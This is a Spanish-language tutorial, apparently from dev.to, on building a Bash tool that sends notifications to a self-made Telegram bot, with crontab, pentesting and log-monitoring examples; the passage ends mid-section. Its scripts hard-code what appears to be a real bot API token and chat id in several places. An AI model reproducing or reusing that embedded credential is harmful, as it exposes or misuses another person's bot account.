&lt;/h1&gt;

&lt;p&gt;Crearemos una herramienta la cual enviará un mensaje a un bot de Telegram creado y configurado por nosotros, de esta forma nos notificará ante algún evento que nosotros hallamos programado.&lt;/p&gt;

&lt;p&gt;Se creará una herramienta en dos modalidades, como función para usarlo en &lt;code&gt;~/.bashrc&lt;/code&gt; y como herramienta de línea de comandos que estará ubicado en &lt;code&gt;/usr/bin/&lt;/code&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Creando y configurando el bot con BotFather
&lt;/h1&gt;

&lt;p&gt;Antes que nada necesitamos buscar el bot &lt;strong&gt;BotFather&lt;/strong&gt; que nos ayudará a crear y administrar nuestros bots dándonos un token para poder usarlos.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6n0eime0oqzt85fi1aao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6n0eime0oqzt85fi1aao.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;En el bot se pueden usar las siguientes opciones:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6vf6u80fdsilvuf61msk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6vf6u80fdsilvuf61msk.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Para añadir nuestro bot tenemos que usar el comando &lt;code&gt;/newbot&lt;/code&gt;, luego colocarle un título y un nombre de usuario para poder identificarlo entre todos los usuarios y bots existentes. Luego de eso nos dará el link para acceder al chat del bot y un API token para trabajar e interactuar con él.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs2ohlcacg7s4jibbmcn8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs2ohlcacg7s4jibbmcn8.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Programando el bot
&lt;/h1&gt;

&lt;p&gt;Ya creado el bot, accedemos a su chat desde el link entregado luego de configurarlo y damos a &lt;code&gt;/start&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvlkafx29h7wlontva5lf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvlkafx29h7wlontva5lf.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Para hacer funcionar la herramienta es necesario saber nuestro id de chat (id de usuario de &lt;strong&gt;Telegram&lt;/strong&gt;) que sirve para poder identificar qué usuario está interactuando con el bot. Para eso enviamos un mensaje de prueba al bot.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmwx35wht7ha7yc83a1ub.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmwx35wht7ha7yc83a1ub.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A continuación debemos obtener id del chat, con el siguiente link:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://api.telegram.org/bot&amp;lt;YourBOTToken&amp;gt;/getUpdates
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este es un ejemplo de cómo obtener el dato necesario usando &lt;strong&gt;curl&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://api.telegram.org/bot1318386267:AAHOq8X5lqpjkWfPnXJh3etK8JyDKt1YNCI/getUpdates &lt;span class="nt"&gt;-s&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El campo &lt;strong&gt;id&lt;/strong&gt; es nuestro identificador de chat, que será necesario para que nos lleguen las notificaciones a nuestra cuenta.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F46k04dhittjfqzdvqa3o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F46k04dhittjfqzdvqa3o.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Este trozo de código tiene que ser añadido al final del archivo &lt;code&gt;~/.bashrc&lt;/code&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;function &lt;/span&gt;urlencode&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;# urlencode &amp;lt;string&amp;gt;&lt;/span&gt;
        &lt;span class="nv"&gt;old_lc_collate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$LC_COLLATE&lt;/span&gt;
        &lt;span class="nv"&gt;LC_COLLATE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;C
        &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; i &lt;span class="o"&gt;=&lt;/span&gt; 0&lt;span class="p"&gt;;&lt;/span&gt; i &amp;lt; length&lt;span class="p"&gt;;&lt;/span&gt; i++ &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
                &lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;:&lt;span class="nv"&gt;$i&lt;/span&gt;:1&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$c&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
                        &lt;span class="o"&gt;[&lt;/span&gt;a-zA-Z0-9.~_-]&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%s'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
                        &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%%%02X'&lt;/span&gt; &lt;span class="s2"&gt;"'&lt;/span&gt;&lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
                &lt;span class="k"&gt;esac&lt;/span&gt;
        &lt;span class="k"&gt;done
        &lt;/span&gt;&lt;span class="nv"&gt;LC_COLLATE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$old_lc_collate&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;function &lt;/span&gt;urldecode&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;# urldecode &amp;lt;string&amp;gt;&lt;/span&gt;
        &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;url_encoded&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="p"&gt;//+/ &lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%b'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;url_encoded&lt;/span&gt;&lt;span class="p"&gt;//%/\\x&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;function &lt;/span&gt;pusher&lt;span class="o"&gt;(){&lt;/span&gt;
        &lt;span class="nv"&gt;token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"1318386267:AAHOq8X5lqpjkWfPnXJh3etK8JyDKt1YNCI"&lt;/span&gt;
        &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"202499999"&lt;/span&gt;
        &lt;span class="nv"&gt;msj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$msj&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
                if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
                        &lt;/span&gt;&lt;span class="nv"&gt;msj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /dev/stdin&lt;span class="si"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;else
                        &lt;/span&gt;&lt;span class="nv"&gt;msj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"beep"&lt;/span&gt;
                &lt;span class="k"&gt;fi
        fi
        &lt;/span&gt;&lt;span class="nv"&gt;msj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;urlencode &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$msj&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="nv"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://api.telegram.org/bot&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="s2"&gt;/sendMessage"&lt;/span&gt;
        curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;chat_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$msj&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &amp;amp;&amp;gt; /dev/null
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
                &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error with bot"&lt;/span&gt;
        &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;source&lt;/span&gt; ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Luego se ejecuta desde la terminal usando el nombre de la función pusher. Tenemos tres formas de ejecutar:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;STDIN. &lt;code&gt;$ echo test text | pusher&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Input por argumentos. &lt;code&gt;$ pusher test text&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Sin argumentos. &lt;code&gt;$ pusher&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe1jy9gmunguadvh1sg7p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe1jy9gmunguadvh1sg7p.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Casos de uso
&lt;/h1&gt;

&lt;p&gt;Es importante tener en cuenta para qué usaremos esta herramienta y las limitaciones que tendremos. Acomodé el script para que pueda ser usado como herramienta, independiente del &lt;code&gt;~/.bashrc&lt;/code&gt;, para casos particulares en los cuales no se pueda usar el recurso desde ahí, por ejemplo cuando ejecutamos una tarea programada en el &lt;code&gt;crontab&lt;/code&gt; o usamos &lt;code&gt;xargs&lt;/code&gt;, &lt;code&gt;parallel&lt;/code&gt; o cuando ejecutamos dentro de un script en &lt;strong&gt;Bash&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;notify.sh&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Herramienta que se usa en línea de comandos para notificar por Telegram.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="k"&gt;function &lt;/span&gt;urlencode&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;# urlencode &amp;lt;string&amp;gt;&lt;/span&gt;
        &lt;span class="nv"&gt;old_lc_collate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$LC_COLLATE&lt;/span&gt;
        &lt;span class="nv"&gt;LC_COLLATE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;C
        &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; i &lt;span class="o"&gt;=&lt;/span&gt; 0&lt;span class="p"&gt;;&lt;/span&gt; i &amp;lt; length&lt;span class="p"&gt;;&lt;/span&gt; i++ &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
                &lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;:&lt;span class="nv"&gt;$i&lt;/span&gt;:1&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$c&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
                        &lt;span class="o"&gt;[&lt;/span&gt;a-zA-Z0-9.~_-]&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%s'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
                        &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%%%02X'&lt;/span&gt; &lt;span class="s2"&gt;"'&lt;/span&gt;&lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
                &lt;span class="k"&gt;esac&lt;/span&gt;
        &lt;span class="k"&gt;done
        &lt;/span&gt;&lt;span class="nv"&gt;LC_COLLATE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$old_lc_collate&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;function &lt;/span&gt;urldecode&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;# urldecode &amp;lt;string&amp;gt;&lt;/span&gt;
        &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;url_encoded&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="p"&gt;//+/ &lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%b'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;url_encoded&lt;/span&gt;&lt;span class="p"&gt;//%/\\x&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"1318386267:AAHOq8X5lqpjkWfPnXJh3etK8JyDKt1YNCI"&lt;/span&gt;
&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"202499999"&lt;/span&gt;
&lt;span class="nv"&gt;msj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$msj&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
                &lt;/span&gt;&lt;span class="nv"&gt;msj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /dev/stdin&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else
                &lt;/span&gt;&lt;span class="nv"&gt;msj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"beep"&lt;/span&gt;
        &lt;span class="k"&gt;fi
fi
&lt;/span&gt;&lt;span class="nv"&gt;msj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;urlencode &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$msj&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://api.telegram.org/bot&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="s2"&gt;/sendMessage"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;chat_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$msj&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &amp;amp;&amp;gt; /dev/null
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error with bot"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Luego damos permiso de ejecución al script y lo movemos a &lt;code&gt;/usr/bin/notify.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x notify.sh
&lt;span class="nb"&gt;sudo mv &lt;/span&gt;notify.sh /usr/bin/notify.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Ejemplos
&lt;/h2&gt;

&lt;p&gt;Bug bounty y pentesting para poder identificar si un ataque fue efectivo o no usando un if con los estados de salida de Bash ($?) y enviando la salida del comando al bot. En caso de querer realizar un comando de una línea es posible usar el operador booleano &lt;strong&gt;and&lt;/strong&gt; (&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;) y &lt;strong&gt;or&lt;/strong&gt; (&lt;code&gt;||&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ejemplo para notificar cada dominio existente en cada mensaje.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;doms.txt | xargs &lt;span class="nt"&gt;-P7&lt;/span&gt; &lt;span class="nt"&gt;-I&lt;/span&gt;@ &lt;span class="s2"&gt;"host @ &amp;amp;&amp;amp; echo @ | notify.sh"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Ejemplo para notificar todos los dominios existentes en un solo mensaje.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;host &lt;span class="nv"&gt;$line&lt;/span&gt; 
&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; doms.txt | pusher
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Crontab&lt;/strong&gt;, útil para tener un seguimiento de las tareas programadas que se estén llevando a cabo.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Al ejecutar &lt;code&gt;crontab -e&lt;/code&gt; se despliega una pantalla donde uno puede programar tareas para que se ejecuten cada cierto tiempo o a una cierta hora. Un ejemplo para aplicar el notificador es el siguiente:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ejemplo con tarea en crontab revisando un portal cada una hora.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 * * * * curl http://evil.corp &amp;amp;&amp;amp; echo hola || notify.sh problemas con el portal $(date)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Control de logs&lt;/strong&gt;, en algunas ocasiones es necesario saber qué pasa por nuestro servidor para eso diseñamos un script que envía los resultados al bot en tiempo real.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;hotreader.sh&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Script que envía notificaciones con las líneas añadidas de un archivo en tiempo real.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
